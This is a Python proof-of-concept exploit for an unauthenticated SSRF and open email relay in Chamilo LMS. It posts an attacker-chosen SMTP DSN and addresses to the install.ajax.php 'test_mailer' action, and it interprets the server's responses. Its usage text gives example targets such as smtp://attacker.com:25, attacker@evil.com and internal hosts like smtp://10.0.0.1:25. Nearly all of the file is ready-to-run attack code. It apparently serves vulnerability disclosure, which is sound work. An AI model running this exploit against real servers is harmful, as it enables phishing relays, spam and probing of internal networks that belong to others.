#!/usr/bin/env python3 """ PoC: Chamilo LMS - Unauthenticated SSRF and Open Email Relay via install.ajax.php Vulnerability: The install.ajax.php AJAX endpoint does not include the main authentication/initialization framework (global.inc.php). It only loads the Composer autoloader. This means: 1. No authentication check - anonymous users can access it 2. No installation-completed check - works even on fully installed instances 3. The 'test_mailer' action accepts an arbitrary Symfony Mailer DSN from POST data 4. It connects to the attacker-specified SMTP server and sends an email Impact: - SSRF: An attacker can make the server connect to arbitrary SMTP servers, including internal network hosts (smtp://internal-host:25) - Open Email Relay: The server can be used to send emails to arbitrary destinations, enabling phishing and spam campaigns - Internal Network Probing: By specifying internal IPs/hostnames in the DSN, an attacker can enumerate internal services Affected: chamilo/chamilo-lms (latest master as of 2026-03-23) File: public/main/inc/ajax/install.ajax.php """ import requests import sys def exploit(target_url, attacker_smtp, from_email, to_email): """ Send a request to the unauthenticated test_mailer endpoint. Args: target_url: Base URL of the Chamilo instance (e.g., http://chamilo.local) attacker_smtp: Attacker-controlled SMTP DSN (e.g., smtp://attacker.com:25) from_email: Email address to send from to_email: Email address to send to """ endpoint = f"{target_url}/main/inc/ajax/install.ajax.php?a=test_mailer" payload = { "mailerDsn": attacker_smtp, "mailerFromEmail": from_email, "mailerFromName": "Chamilo SSRF PoC", "mailerTestDestination": to_email, } print(f"[*] Target: {endpoint}") print(f"[*] SMTP DSN: {attacker_smtp}") print(f"[*] From: {from_email}") print(f"[*] To: {to_email}") print() try: resp = requests.post(endpoint, data=payload, timeout=15, verify=False) print(f"[*] HTTP Status: {resp.status_code}") print(f"[*] Response: {resp.text[:500]}") if resp.status_code == 200: print("\n[+] SUCCESS: Email sent via unauthenticated endpoint!") print("[+] The server connected to the specified SMTP server and sent an email.") print("[+] This confirms SSRF and open email relay.") elif "Connection could not be established" in resp.text: print("\n[+] SSRF CONFIRMED: The server attempted to connect to the SMTP host.") print("[+] The connection failed (host unreachable), but the SSRF is proven.") elif resp.status_code == 500: print("\n[+] Server error - the endpoint is reachable and processed the request.") print("[+] Check if the SMTP connection was attempted.") else: print(f"\n[?] Unexpected response. Check manually.") except requests.exceptions.ConnectionError: print("[-] Cannot connect to target.") except requests.exceptions.Timeout: print("[+] Request timed out - server may be attempting SMTP connection (SSRF indicator)") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} [attacker_smtp] [from_email] [to_email]") print(f"Example: {sys.argv[0]} http://chamilo.local smtp://attacker.com:25 attacker@evil.com victim@target.com") print() print("Demonstrating the vulnerability structure:") print() print("Vulnerable file: public/main/inc/ajax/install.ajax.php") print("- Only loads vendor/autoload.php (no auth, no install check)") print("- Action 'test_mailer' creates Transport::fromDsn() with user-supplied DSN") print("- Sends email to user-supplied destination") print() print("The DSN can target internal hosts: smtp://10.0.0.1:25") print("This enables SSRF into the internal network via SMTP protocol.") sys.exit(0) target = sys.argv[1].rstrip("/") smtp = sys.argv[2] if len(sys.argv) > 2 else "smtp://127.0.0.1:25" from_addr = sys.argv[3] if len(sys.argv) > 3 else "test@test.com" to_addr = sys.argv[4] if len(sys.argv) > 4 else "test@test.com" exploit(target, smtp, from_addr, to_addr)